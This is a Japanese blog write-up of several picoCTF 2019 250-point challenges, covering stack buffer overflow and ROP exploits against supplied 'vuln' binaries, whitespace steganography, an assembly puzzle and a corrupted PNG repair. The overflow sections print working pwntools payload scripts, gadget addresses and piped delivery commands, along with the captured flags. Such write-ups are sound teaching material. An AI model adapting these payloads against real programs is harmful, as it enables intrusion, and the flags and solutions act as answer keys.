好奇心の足跡

飽きっぽくすぐ他のことをしてしまうので、忘れないため・形にして頭に残すための備忘録。

picoCTF2019 250pt問題のwrite-up

中高生向けのCTF、picoCTF 2019 の write-up です。他の得点帯の write-up へのリンクはこちらを参照。

kusuwada.hatenablog.com

[Binary] NewOverFlow-2 (250pt)

Okay now lets try mainpulating arguments. program. You can find it in /problems/newoverflow-2_5_13f3d3dc09fc09d6d5db8adfa899a05d on the shell server. Source.

NewOverFlow-1 を解いたらでてきました。
実行ファイルvulnソースコードvuln.cが配布されます。

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <stdbool.h>

#define BUFFSIZE 64
#define FLAGSIZE 64

bool win1 = false;
bool win2 = false;

void win_fn1(unsigned int arg_check) {
  if (arg_check == 0xDEADBEEF) {
    win1 = true;
  }
}

void win_fn2(unsigned int arg_check1, unsigned int arg_check2, unsigned int arg_check3) {
  if (win1 && \
      arg_check1 == 0xBAADCAFE && \
      arg_check2 == 0xCAFEBABE && \
      arg_check3 == 0xABADBABE) {
    win2 = true;
  }
}

void win_fn() {
  char flag[48];
  FILE *file;
  file = fopen("flag.txt", "r");
  if (file == NULL) {
    printf("'flag.txt' missing in the current directory!\n");
    exit(0);
  }

  fgets(flag, sizeof(flag), file);
  if (win1 && win2) {
    printf("%s", flag);
    return;
  }
  else {
    printf("Nope, not quite...\n");
  }


  

}

void flag() {
  char buf[FLAGSIZE];
  FILE *f = fopen("flag.txt","r");
  if (f == NULL) {
    printf("'flag.txt' missing in the current directory!\n");
    exit(0);
  }

  fgets(buf,FLAGSIZE,f);
  printf(buf);
}

void vuln(){
  char buf[BUFFSIZE];
  gets(buf);
}

int main(int argc, char **argv){

  setvbuf(stdout, NULL, _IONBF, 0);
  gid_t gid = getegid();
  setresgid(gid, gid, gid);
  puts("Welcome to 64-bit. Can you match these numbers?");
  vuln();
  return 0;
}

これはあれだ、条件をどんどん満たした形でwinfunctionを呼び出していくやつだ。順番的に OverFlow 2 より上に来ちゃったけど、これの64bit版かな。

mainから呼ばれるのはvuln関数のみ。vuln関数にはこれまで同様、BufferOverflowの脆弱性があります。
flagを出力するのはflag関数とwin_fn関数。…なんで2つもあるんだ?

flag関数は、そのまま呼び出すだけでflagを表示してくれそう。

win_fnでは、win_fn1,win_fn2でセットできるwin1,win2の値を確認しています。こっちを使う場合は、win_fn1,win_fn2も適切な引数で呼び出しておく必要があります。こっちを使うのが想定解かな?

今回、下記の3つの方法を試してみました。

  • flag()を直接呼び出す
  • 条件を揃えてwin_fn()を呼び出す(できなかった)
  • win_fn2()を1にする命令を使う

flag()を直接呼び出す

NewOverFlow-1 の解法とほぼ同じなのでまずこれを。ほぼ同じなのでflag()関数は消し忘れなんだろうか?そんな事ある?

radare2を使って各関数と使えそうなret関数を探します。

$ r2 vuln
> aaaa
> afl
(略)
0x00400767    3 26           sym.win_fn1
0x00400781    6 61           sym.win_fn2
0x004007be    7 143          sym.win_fn
0x0040084d    3 101          sym.flag
0x004008b2    1 28           sym.vuln
0x004008ce    1 105          sym.main
(略)
> s sym.flag
> pdf
(略)
|           0x004008b0      c9             leave
\           0x004008b1      c3             ret

これで、今から使う flag 関数のアドレスは 0x0040084dret0x004008b1 が得られました。今回もそのままflag関数のアドレスを使うとセグフォが発生してしまします。1のときと同じく、retを挟んであげます。

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

from pwn import *

flag_addr = 0x0040084d
ret_addr = 0x004008b1

payload = b'a' * (64+8)
payload += p64(ret_addr)
payload += p64(flag_addr)

print(payload)

実行結果

$ python solve2.py 
b'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\xb1\x08@\x00\x00\x00\x00\x00M\x08@\x00\x00\x00\x00\x00'

shell serverで組み立てたpayloadを送ってあげます。

$ (echo -e "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\xb1\x08@\x00\x00\x00\x00\x00M\x08@\x00\x00\x00\x00\x00"; cat) | ./vuln
Welcome to 64-bit. Can you match these numbers?
picoCTF{r0p_1t_d0nT_st0p_1t_b3358018}

出ちゃったよ!

条件を揃えてwin_fn()を呼び出す (できなかった)

こっちが想定解っぽい方。でもこっちで解いているwriteupが探してもでてこない。結果的には解けなかった。

  • vuln関数のBufferOverflowを利用して
  • win_fn1 を 引数 0xDEADBEEF で呼び出す
  • win_fn2 を 引数 0xBAADCAFE, 0xCAFEBABE, 0xABADBABE で呼び出す
  • win_fn を呼び出す

この作戦で良さそう。そういえばångstromCTF 2019 の Chain of Ropeとかなり似ています。

各関数のアドレスは、上記のflag()関数を呼び出す解法のとき確認しました。次に、各引数の格納先を、これまたradare2で確認します。

$ r2 vuln
> aaaa
[0x00400680]> s sym.win_fn1
[0x00400767]> pdf
/ (fcn) sym.win_fn1 26
|   sym.win_fn1 (int arg1);
|           ; var int local_4h @ rbp-0x4
|           ; arg int arg1 @ rdi
(略)
[0x00400767]> s sym.win_fn2
[0x00400781]> pdf
/ (fcn) sym.win_fn2 61
|   sym.win_fn2 (int arg1, int arg2, int arg3);
|           ; var int local_ch @ rbp-0xc
|           ; var int local_8h @ rbp-0x8
|           ; var int local_4h @ rbp-0x4
|           ; arg int arg1 @ rdi
|           ; arg int arg2 @ rsi
|           ; arg int arg3 @ rdx

下記のように組み立てられると良さそう。

0x40 + 0x8 | buffer
       0x8 | pop rdi
       0x8 | win_fn1_arg1  # rdi
       0x8 | win_fn1()
       0x8 | pop rdi, rsi, rdx
       0x8 | win_fn2_arg1  # rdi
       0x8 | win_fn2_arg2  # rsi
       0x8 | win_fn2_arg3  # rdx
       0x8 | win_fn2()
       0x8 | win_fn()

次に、使えそうなpop命令を探します。(radare2)

> "/R pop;ret"
  0x004006dc         bf70106000  mov edi, 0x601070
  0x004006e1               ffe0  jmp rax
  0x004006e3         0f1f440000  nop dword [rax + rax]
  0x004006e8                 5d  pop rbp
  0x004006e9                 c3  ret

  0x004006de             106000  adc byte [rax], ah
  0x004006e1               ffe0  jmp rax
  0x004006e3         0f1f440000  nop dword [rax + rax]
  0x004006e8                 5d  pop rbp
  0x004006e9                 c3  ret

  0x004006e5             440000  add byte [rax], r8b
  0x004006e8                 5d  pop rbp
  0x004006e9                 c3  ret

  0x004006e6               0000  add byte [rax], al
  0x004006e8                 5d  pop rbp
  0x004006e9                 c3  ret

  0x0040071e         bf70106000  mov edi, 0x601070
  0x00400723               ffe0  jmp rax
  0x00400725             0f1f00  nop dword [rax]
  0x00400728                 5d  pop rbp
  0x00400729                 c3  ret

  0x00400720             106000  adc byte [rax], ah
  0x00400723               ffe0  jmp rax
  0x00400725             0f1f00  nop dword [rax]
  0x00400728                 5d  pop rbp
  0x00400729                 c3  ret

  0x0040073a             4889e5  mov rbp, rsp
  0x0040073d         e87effffff  call 0x4006c0
  0x00400742     c6052f09200001  mov byte [rip + 0x20092f], 1
  0x00400749                 5d  pop rbp
  0x0040074a                 c3  ret

  0x0040073b               89e5  mov ebp, esp
  0x0040073d         e87effffff  call 0x4006c0
  0x00400742     c6052f09200001  mov byte [rip + 0x20092f], 1
  0x00400749                 5d  pop rbp
  0x0040074a                 c3  ret

  0x00400745               0920  or dword [rax], esp
  0x00400747               0001  add byte [rcx], al
  0x00400749                 5d  pop rbp
  0x0040074a                 c3  ret

  0x00400772         beadde7507  mov esi, 0x775dead
  0x00400777     c605fb08200001  mov byte [rip + 0x2008fb], 1
  0x0040077e                 90  nop
  0x0040077f                 5d  pop rbp
  0x00400780                 c3  ret

  0x00400774             de7507  fidiv word [rbp + 7]
  0x00400777     c605fb08200001  mov byte [rip + 0x2008fb], 1
  0x0040077e                 90  nop
  0x0040077f                 5d  pop rbp
  0x00400780                 c3  ret

  0x00400775               7507  jne 0x40077e
  0x00400777     c605fb08200001  mov byte [rip + 0x2008fb], 1
  0x0040077e                 90  nop
  0x0040077f                 5d  pop rbp
  0x00400780                 c3  ret

  0x0040077a               0820  or byte [rax], ah
  0x0040077c               0001  add byte [rcx], al
  0x0040077e                 90  nop
  0x0040077f                 5d  pop rbp
  0x00400780                 c3  ret

  0x004007af         baadab7507  mov edx, 0x775abad
  0x004007b4     c605bf08200001  mov byte [rip + 0x2008bf], 1
  0x004007bb                 90  nop
  0x004007bc                 5d  pop rbp
  0x004007bd                 c3  ret

  0x004007b2               7507  jne 0x4007bb
  0x004007b4     c605bf08200001  mov byte [rip + 0x2008bf], 1
  0x004007bb                 90  nop
  0x004007bc                 5d  pop rbp
  0x004007bd                 c3  ret

  0x004007b6         bf08200001  mov edi, 0x1002008
  0x004007bb                 90  nop
  0x004007bc                 5d  pop rbp
  0x004007bd                 c3  ret

  0x004007b7               0820  or byte [rax], ah
  0x004007b9               0001  add byte [rcx], al
  0x004007bb                 90  nop
  0x004007bc                 5d  pop rbp
  0x004007bd                 c3  ret

  0x0040099c               415c  pop r12
  0x0040099e               415d  pop r13
  0x004009a0               415e  pop r14
  0x004009a2               415f  pop r15
  0x004009a4                 c3  ret

  0x0040099d                 5c  pop rsp
  0x0040099e               415d  pop r13
  0x004009a0               415e  pop r14
  0x004009a2               415f  pop r15
  0x004009a4                 c3  ret

  0x0040099f                 5d  pop rbp
  0x004009a0               415e  pop r14
  0x004009a2               415f  pop r15
  0x004009a4                 c3  ret

  0x004009a1                 5e  pop rsi
  0x004009a2               415f  pop r15
  0x004009a4                 c3  ret

  0x004009a3                 5f  pop rdi
  0x004009a4                 c3  ret

うわー、めっちゃある!!!

  0x004009a3                 5f  pop rdi
  0x004009a4                 c3  ret
  0x004009a1                 5e  pop rsi
  0x004009a2               415f  pop r15
  0x004009a4                 c3  ret

このあたりが使えそうなので、上記リンクでやったのと同じように、これらを使って組み直します。

0x40 + 0x8 | buffer
       0x8 | pop rdi
       0x8 | win_fn1_arg1  # rdi
       0x8 | win_fn1()
       0x8 | pop rdi
       0x8 | win_fn2_arg1  # rdi
       0x8 | pop rsi, r15
       0x8 | win_fn2_arg2  # rsi
       0x8 | dummy
       0x8 | pop rdx       # ※ない…!
       0x8 | win_fn2_arg3  # rdx
       0x8 | win_fn2()
       0x8 | win_fn()

ここまで書いてみたものの、rdxをpopするようなコマンドが見つかりません。

64ビット環境におけるリバースエンジニアリング - セキュリティごった煮ブログ|ネットエージェント

によると、pop rdxpop r10 があれば代用できそうなのですが、それもありません。試しに上記で出てきたpop-retアドレス全部で試してみましたが、組めませんでした。

CTFs/NewOverFlow-2.md at master · Dvd848/CTFs · GitHub

によると、pwntoolsのrop機能を使っても組めなかったみたいです。ということは想定解じゃなかったのかな???
今後のためにコードだけ残しておきます。

#!/usr/bin/env python3
# -*- coding:utf-8 -*-
# this code's output doesn't work!

from pwn import *

e = ELF('vuln')

win_fn1_addr = 0x00400767
win_fn2_addr = 0x00400781
win_fn_addr  = 0x004007be
win_fn1_arg1 = 0xDEADBEEF
win_fn2_arg1 = 0xBAADCAFE
win_fn2_arg2 = 0xCAFEBABE
win_fn2_arg3 = 0xABADBABE

pop_rdi     = 0x004009a3
pop_rsi_r15 = 0x004009a1
pop_rdx     = 0x004009a0 # it's not work

payload =  b'a' * (64+8)
payload += p64(pop_rdi)
payload += p64(win_fn1_arg1)
payload += p64(win_fn1_addr)
payload += p64(pop_rdi)
payload += p64(win_fn2_arg1)
payload += p64(pop_rsi_r15)
payload += p64(win_fn2_arg2)
payload += b'a' * 8
payload += p64(pop_rdx)
payload += p64(win_fn2_arg3)
payload += p64(win_fn2_addr)
payload += p64(win_fn_addr)

print(payload)

win_fn2()を1にする命令を使う

実は、先程の "条件を揃えてwin_fn()を呼び出す" で rdx の pop を探している時に

0x004007b4     c605bf08200001  mov byte [rip + 0x2008bf], 1

を使うと取れました。でもこれは pop rdx の代わりに使えたというわけではなく、下記のwriteupのとおり、この命令で win2 が true に書き換わるからのようです。

CTFs/NewOverFlow-2.md at master · Dvd848/CTFs · GitHub

 0x4007b4 
 ; [0x60107a:1]=0 
 mov byte [obj.win2], 1 

これを利用すれば、pop rdx できなくても(win_fn2を呼び出さなくても)良さそうです。

0x40 + 0x8 | buffer
       0x8 | pop rdi
       0x8 | win_fn1_arg1  # rdi
       0x8 | win_fn1()
       0x8 | turn_win2_true (0x004007b4)
       0x8 | dummy
       0x8 | win_fn()

上記のコードを元に、上の呼び出しを組んでみます。

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

from pwn import *

win_fn1_addr = 0x00400767
win_fn_addr  = 0x004007be
win_fn1_arg1 = 0xDEADBEEF

pop_rdi     = 0x004009a3
turn_win2_true = 0x004007b4

payload =  b'a' * (64+8)
payload += p64(pop_rdi)
payload += p64(win_fn1_arg1)
payload += p64(win_fn1_addr)
payload += p64(turn_win2_true)
payload += b'a' * 8
payload += p64(win_fn_addr)

print(payload)

実行結果

$ python solve3.py 
b'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\xa3\t@\x00\x00\x00\x00\x00\xef\xbe\xad\xde\x00\x00\x00\x00g\x07@\x00\x00\x00\x00\x00\xb4\x07@\x00\x00\x00\x00\x00aaaaaaaa\xbe\x07@\x00\x00\x00\x00\x00'

これを picoCTF shell server に送ってみます。

$  (echo -e "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\xa3\t@\x00\x00\x00\x00\x00\xef\xbe\xad\xde\x00\x00\x00\x00g\x07@\x00\x00\x00\x00\x00\xb4\x07@\x00\x00\x00\x00\x00aaaaaaaa\xbe\x07@\x00\x00\x00\x00\x00"; cat) | ./vuln
Welcome to 64-bit. Can you match these numbers?
picoCTF{r0p_1t_d0nT_st0p_1t_b3358018}

おお、取れたー!!IDAで解析したらこういう横道も見つけられるのね。

順番に呼び出していく2番目のやつ、何かしらやり方はあると思うのだけど難しかった…。誰か教えてくれないかなー。

[Binary] OverFlow 2 (250pt)

Now try overwriting arguments. Can you get the flag from this program? You can find it in /problems/overflow-2_2_47d6bbdfb1ccd0d65a76e6cbe0935b0f on the shell server. Source.

実行ファイルvulnソースコードvuln.cが配布されます。

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>

#define BUFSIZE 176
#define FLAGSIZE 64

void flag(unsigned int arg1, unsigned int arg2) {
  char buf[FLAGSIZE];
  FILE *f = fopen("flag.txt","r");
  if (f == NULL) {
    printf("Flag File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.\n");
    exit(0);
  }

  fgets(buf,FLAGSIZE,f);
  if (arg1 != 0xDEADBEEF)
    return;
  if (arg2 != 0xC0DED00D)
    return;
  printf(buf);
}

void vuln(){
  char buf[BUFSIZE];
  gets(buf);
  puts(buf);
}

int main(int argc, char **argv){

  setvbuf(stdout, NULL, _IONBF, 0);
  
  gid_t gid = getegid();
  setresgid(gid, gid, gid);

  puts("Please enter your string: ");
  vuln();
  return 0;
}

今回は OverFlow 1 の問題に加えて、flag関数の引数が正しく設定される必要がある問題です。

arg1 = 0xDEADBEEF
arg2 = 0xC0DED00D

を設定して、flag関数を呼び出してあげます。これも picoCTF2018の buffer overflow 2 と同じ解法です。

今回も心のこもった手作業でinputを作ります。

まずはflag関数のアドレスを探します。

$ objdump -d vuln | grep flag
080485e6 <flag>:
 8048618:       75 1c                   jne    8048636 <flag+0x50>
 8048651:       75 1a                   jne    804866d <flag+0x87>
 804865a:       75 14                   jne    8048670 <flag+0x8a>
 804866b:       eb 04                   jmp    8048671 <flag+0x8b>
 804866e:       eb 01                   jmp    8048671 <flag+0x8b>

flag()関数のアドレスは0x080485e6。 vuln関数のstackはこんな感じ。

eax    | buffer start |
       | <176+8 bytes>|
       | buffer end   |
ebp    |   <4 bytes>  |
return |              |

また適当な文字列で 176+8+4 バイト詰めます。
このあとにflag関数のアドレスを。 さらにflag関数のret分4バイトを適当な文字で詰めます。 その次に引数を arg1, arg2 の順に詰めます。

手作業と言っておきながら面倒だったのでpythonにします。

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

from pwn import *

e = ELF('vuln')

flag_addr = 0x080485e6
arg1 = 0xDEADBEEF
arg2 = 0xC0DED00D

payload = b'a' * (176+8+4)
payload += p32(flag_addr)
payload += b'a' * 4
payload += p32(arg1)
payload += p32(arg2)

print(payload)

実行結果

$ python solve.py 
[*] '***/picoCTF_2019/Binary/250_OverFlow 2/vuln'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE
b'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\xe6\x85\x04\x08aaaa\xef\xbe\xad\xde\r\xd0\xde\xc0'

あとはこれを送ってあげます。

$ (echo -e "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\xe6\x85\x04\x08aaaa\xef\xbe\xad\xde\r\xd0\xde\xc0"; cat) | ./vuln
Please enter your string: 
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa���aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaᆳ�
picoCTF{arg5_and_r3turn5ce5cf61a}

[Forensics] WhitePages (250pt)

I stopped using YellowPages and moved onto WhitePages... but the page they gave me is all blank!

whitepages.txt が配布されます。テキストエディタで開いてみると、確かに何も書いてありません。

fileコマンドで見てみます。

$ file whitepages.txt 
whitepages.txt: UTF-8 Unicode text, with very long lines, with no line terminators

おや、with very long lines ということで、本当はデータが沢山あるようです。
よく見てみると、スペースやタブが入ってそうな…。これはWhitespace言語に違いない!

他の問題を解いたときにお世話になったこちらのツールでC言語に変換してもらいます。

github.com

うーん、cに変換して実行しても何も出てこない。そもそももともとスペースとタブではなく、スペースと何かわからない何も出力されないblank文字だ…。

whitespace調べているうちに、こんなサイトを見つけました。コンパイルして実行してくれるサイトです。なんとWhitespaceにも対応…!けど今回のは実行できず。どこかでまた使えるかも。

で、よく考えたら スペース と よくわからないblank文字の2つが並んだテキスト なので、これを01に変換してやります。なんとなくスペースのほうが少なそうだったのでこっちを1に、もう一方を0にするとこうなりました。

00001010000010010000100101110000011010010110001101101111010000110101010001000110000010100000101000001001000010010101001101000101010001010010000001010000010101010100001001001100010010010100001100100000010100100100010101000011010011110101001001000100010100110010000000100110001000000100001001000001010000110100101101000111010100100100111101010101010011100100010000100000010100100100010101010000010011110101001001010100000010100000100100001001001101010011000000110000001100000010000001000110011011110111001001100010011001010111001100100000010000010111011001100101001011000010000001010000011010010111010001110100011100110110001001110101011100100110011101101000001011000010000001010000010000010010000000110001001101010011001000110001001100110000101000001001000010010111000001101001011000110110111101000011010101000100011001111011011011100110111101110100010111110110000101101100011011000101111101110011011100000110000101100011011001010111001101011111011000010111001001100101010111110110001101110010011001010110000101110100011001010110010001011111011001010111000101110101011000010110110001011111001100010011011100111000011001000011011100110010001100000011001000110101001100100110000101100110001100010110000101100110001100100011100100110011001101100011100101100101001100010011010100110100011001010110001101100001001100100011001101100001001110010011010101111101000010100000100100001001

これを8文字ずつに区切ってascii codeに変換してみます。

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

bincode = "00001010000010010000100101110000011010010110001101101111010000110101010001000110000010100000101000001001000010010101001101000101010001010010000001010000010101010100001001001100010010010100001100100000010100100100010101000011010011110101001001000100010100110010000000100110001000000100001001000001010000110100101101000111010100100100111101010101010011100100010000100000010100100100010101010000010011110101001001010100000010100000100100001001001101010011000000110000001100000010000001000110011011110111001001100010011001010111001100100000010000010111011001100101001011000010000001010000011010010111010001110100011100110110001001110101011100100110011101101000001011000010000001010000010000010010000000110001001101010011001000110001001100110000101000001001000010010111000001101001011000110110111101000011010101000100011001111011011011100110111101110100010111110110000101101100011011000101111101110011011100000110000101100011011001010111001101011111011000010111001001100101010111110110001101110010011001010110000101110100011001010110010001011111011001010111000101110101011000010110110001011111001100010011011100111000011001000011011100110010001100000011001000110101001100100110000101100110001100010110000101100110001100100011100100110011001101100011100101100101001100010011010100110100011001010110001101100001001100100011001101100001001110010011010101111101000010100000100100001001"

def bin2ascii(bin_str):
    n = int(bin_str, 2)
    return n.to_bytes((n.bit_length() + 7) // 8, 'big').decode()

flag = ''
blocks = []

for i in range(len(bincode)//8):
    flag += bin2ascii(bincode[i*8:i*8+8])

print(flag)

実行結果

$ python solve.py 

        picoCTF

        SEE PUBLIC RECORDS & BACKGROUND REPORT
        5000 Forbes Ave, Pittsburgh, PA 15213
        picoCTF{not_all_spaces_are_created_equal_178d720252af1af29369e154eca23a95}
        

出ました!!こっちかぁぁぁーーーーーー!!!
絶対whitespaceだと思っていたのでめっちゃ時間かかった。

[Reversing] asm2 (250pt)

What does asm2(0xd,0x1e) return? Submit the flag as a hexadecimal value (starting with '0x'). NOTE: Your submission for this question will NOT be in the normal flag format. Source located in the directory at /problems/asm2_5_19a47cfa109e75480bcd052744a7a816.

今回もアセンブリのファイルが配布されます。

asm2:
    <+0>: push   ebp
    <+1>: mov    ebp,esp
    <+3>: sub    esp,0x10
    <+6>: mov    eax,DWORD PTR [ebp+0xc]
    <+9>: mov    DWORD PTR [ebp-0x4],eax
    <+12>:    mov    eax,DWORD PTR [ebp+0x8]
    <+15>:    mov    DWORD PTR [ebp-0x8],eax
    <+18>:    jmp    0x50c <asm2+31>
    <+20>:    add    DWORD PTR [ebp-0x4],0x1
    <+24>:    add    DWORD PTR [ebp-0x8],0xfa
    <+31>:    cmp    DWORD PTR [ebp-0x8],0x67a8
    <+38>:    jle    0x501 <asm2+20>
    <+40>:    mov    eax,DWORD PTR [ebp-0x4]
    <+43>:    leave  
    <+44>:    ret    

入力値が0xd,0x1eのときの出力を聞かれています。今回も短いので読んでみます。

asm2:
    <+0>: push   ebp                         # base pointer を stackの一番上に
    <+1>: mov    ebp,esp                     # stack pointer を ebp に追従
    <+3>: sub    esp,0x10                    # stack pointer を 0x10 ひく
    <+6>: mov    eax,DWORD PTR [ebp+0xc]     # eaxに 0x1e を代入
    <+9>: mov    DWORD PTR [ebp-0x4],eax     # ebp-0x4 に eax (0x1e) を代入
    <+12>:    mov    eax,DWORD PTR [ebp+0x8]     # eax に 0xd を代入
    <+15>:    mov    DWORD PTR [ebp-0x8],eax     # ebp-0x8 に eax (0xd) を代入
    <+18>:    jmp    0x50c <asm2+31>             # 31 に飛ぶ
    <+20>:    add    DWORD PTR [ebp-0x4],0x1     # 0x1e + 0x1 = 0x1f
    <+24>:    add    DWORD PTR [ebp-0x8],0xfa    # 0xd + 0xfa = 0x107 ※1
    <+31>:    cmp    DWORD PTR [ebp-0x8],0x67a8  # 0xdと0x67a8を比較
    <+38>:    jle    0x501 <asm2+20>             # 0xdのほうが小さいので 20に飛ぶ
    <+40>:    mov    eax,DWORD PTR [ebp-0x4]
    <+43>:    leave  
    <+44>:    ret    

※1のあと+31に戻り、cmp結果がtrueになるまで繰り返します。
0xd0xfaを足していき、0x67a8になるまで続けると、ebp-0x40x1e0x1を足していき、最終的に0x89になります。
この値がretになるので、答えは0x89

[Forensics] c0rrupt (250pt)

We found this file. Recover the flag. You can also find the file in /problems/c0rrupt_0_1fcad1344c25a122a00721e4af86de13.

mysteryというファイルが配布されます。

lessコマンドで簡単に中身を見てみると、sRGB, pHYs などの文字が見えるので、画像(png)データの可能性が高そう。
Recoverとのことなので、修復してあげるっぽい。バイナリエディタで開いてみます。私はMac用のバイナリエディタiHexを使いました。

f:id:kusuwada:20191012022611p:plain

また、pngの解析にはpngcheckというツールがよく使われているみたいなので、こちらもinstallしました。macに直接入れています。

$ brew install pmgcheck

まずは解析してみます。

$ pngcheck -v mystery 
File: mystery (202940 bytes)
  this is neither a PNG or JNG image nor a MNG stream
ERRORS DETECTED in mystery

全然だめっぽい。下記サイトを参考にしつつ、PNGのSigneture(固定値)を直していきます。

最初の16バイトを書き換えて、再度チェックしてみます。

$ pngcheck -v solved.png 
File: solved.png (202940 bytes)
  chunk IHDR at offset 0x0000c, length 13
    1642 x 1095 image, 24-bit RGB, non-interlaced
  chunk sRGB at offset 0x00025, length 1
    rendering intent = perceptual
  chunk gAMA at offset 0x00032, length 4: 0.45455
  chunk pHYs at offset 0x00042, length 9: 2852132389x5669 pixels/meter
  CRC error in chunk pHYs (computed 38d82c82, expected 495224f0)
ERRORS DETECTED in solved.png

また引っかかりました。今度はpHYsのCRCで引っかかったみたいです。PNGフォーマットに明るくないので、上のサイトを参考にしつつ、地道に値を表示させながら修正していくことにしました。
最初は手作業とメモでやってたのですが、途中でわからなくなりそうだったので一応スクリプトに。もう試行錯誤そのまま現れているので長いですがそのまま載せます。

実際は、値を表示してみておかしいところを直して、pngcheckかけて次のおかしそうなところを見つけて…、とやっていっています。

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

import binascii

corrupt_file = 'mystery'
output_file = 'solved.png'

with open(corrupt_file, 'rb') as f:
    data = f.read()

## PNG SIGNATURE (8)
PNG_SIGNATURE = binascii.unhexlify('89504E470D0A1A0A') # fixed
if data[:8] != PNG_SIGNATURE:
    print('[Overwirte] PNG SIGNATURE')
    data = PNG_SIGNATURE + data[8:]

## IHDR (4, 4, 4, 4, 1, 1, 1, 1, 1, 4)
IHDR_LENGTH = binascii.unhexlify('0000000D') # 13 fixed
if data[8:12] != IHDR_LENGTH:
    print('[Overwirte] IHDR_LENGTH')
    data = data[:8] + IHDR_LENGTH + data[12:]

IHDR_CHUNK_TYPE = binascii.unhexlify('49484452') # IHDR fixed
if data[12:16] != IHDR_CHUNK_TYPE:
    print('[Overwirte] IHDR_CHUNK_TYPE')
    data = data[:12] + IHDR_CHUNK_TYPE + data[16:]

IHDR_width  = binascii.hexlify(data[16:20])
IHDR_height = binascii.hexlify(data[20:24])
IHDR_depth  = binascii.hexlify(data[24:25])
IHDR_color_type = binascii.hexlify(data[25:26])
IHDR_comppress  = binascii.hexlify(data[26:27])
IHDR_filter = binascii.hexlify(data[27:28])
IHDR_interlace  = binascii.hexlify(data[28:29])
IHDR_crc = binascii.hexlify(data[29:33])

print('IHDR_width: ' + str(IHDR_width))
print('IHDR_height: ' + str(IHDR_height))
print('IHDR_depth: ' + str(IHDR_depth))
print('IHDR_color_type: ' + str(IHDR_color_type))
print('IHDR_comppress: ' + str(IHDR_comppress))
print('IHDR_filter: ' + str(IHDR_filter))
print('IHDR_interlace: ' + str(IHDR_interlace))
print('IHDR_crc: ' + str(IHDR_crc))

## sRGB (4, 4, 1, 4)
sRGB_length = binascii.hexlify(data[33:37])  # 1 fixed
sRGB_chunk_type = binascii.hexlify(data[37:41])  # sRGB fixed
sRGB_data = binascii.hexlify(data[41:42])
sRGB_crc = binascii.hexlify(data[42:46])

print('sRGB_length: ' + str(sRGB_length))
print('sRGB_chunk_type: ' + str(sRGB_chunk_type))
print('sRGB_data: ' + str(sRGB_data))
print('sRGB_crc: ' + str(sRGB_crc))

## gAMA (4, 4, 4, 4)
gAMA_length = binascii.hexlify(data[46:50])  # 4 fixed
gAMA_chunk_type = binascii.hexlify(data[50:54])  # gAMA fixed
gAMA_data = binascii.hexlify(data[54:58])
gAMA_crc = binascii.hexlify(data[58:62])

print('gAMA_length: ' + str(gAMA_length))
print('gAMA_chunk_type: ' + str(gAMA_chunk_type))
print('gAMA_data: ' + str(gAMA_data))
print('gAMA_crc: ' + str(gAMA_crc))

## pHYs (4, 4, 4, 4, 1, 4)
pHYs_length = binascii.hexlify(data[62:66])  # 9 fixed
pHYs_chunk_type = binascii.hexlify(data[66:70])  # pHYs fixed
pHYs_data_x = binascii.hexlify(data[70:74])  # too large! 0xaa001625 -> 0x00001625
pHYs_data_y = binascii.hexlify(data[74:78])
pHYs_data_u = binascii.hexlify(data[78:79])
pHYs_crc = binascii.hexlify(data[79:83])

print('pHYs_length: ' + str(pHYs_length))
print('pHYs_chunk_type: ' + str(pHYs_chunk_type))
print('pHYs_data_x: ' + str(pHYs_data_x))
print('pHYs_data_y: ' + str(pHYs_data_y))
print('pHYs_data_u: ' + str(pHYs_data_u))
print('pHYs_crc: ' + str(pHYs_crc))

pHYs_data_x = binascii.unhexlify('00001625')
data = data[:70] + pHYs_data_x + data[74:]
print('[Overwirte] pHYs_data_x')

## IDAT_1 (4, 4, n, 4)
IDAT_1_length = binascii.hexlify(data[83:87])  # too large! 0xaaaaffa5
IDAT_1_chunk_type = binascii.hexlify(data[87:91])  # IDAT fixed (0x49444154)
print('IDAT_1_length: ' + str(IDAT_1_length))
print('IDAT_1_chunk_type: ' + str(IDAT_1_chunk_type))

IDAT_1_length = binascii.unhexlify('0000ffa5')
data = data[:83] + IDAT_1_length + data[87:]
print('[Overwirte] IDAT_1_length')
IDAT_1_chunk_type = binascii.unhexlify('49444154')
data = data[:87] + IDAT_1_chunk_type + data[91:]
print('[Overwirte] IDAT_1_chunk_type')

